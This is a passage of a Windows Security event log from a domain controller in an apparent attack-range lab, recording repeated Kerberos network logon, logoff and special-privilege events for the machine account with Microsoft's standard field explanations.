	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64095

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248974
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD15A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248973
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD0F9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248972
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD0F9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64094

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248971
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD0F9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248994
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD3B2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248993
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD3B2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64101

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248992
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD3B2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248991
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD351

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248990
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD351
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64100

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248989
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD351

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248988
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD2EB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248987
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD2EB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64099

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248986
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD2EB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248985
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD28A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248984
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD28A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64098

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248983
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD28A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249000
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD489
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64103

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248999
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD489

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248998
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD428

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248997
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD428
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64102

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248996
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD428

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248995
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x7DC88

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249007
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD550

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249006
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD550
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64105

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249005
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD550

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249004
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xCD4EF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249003
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xCD4EF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64104

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249002
Keywords=Audit Success
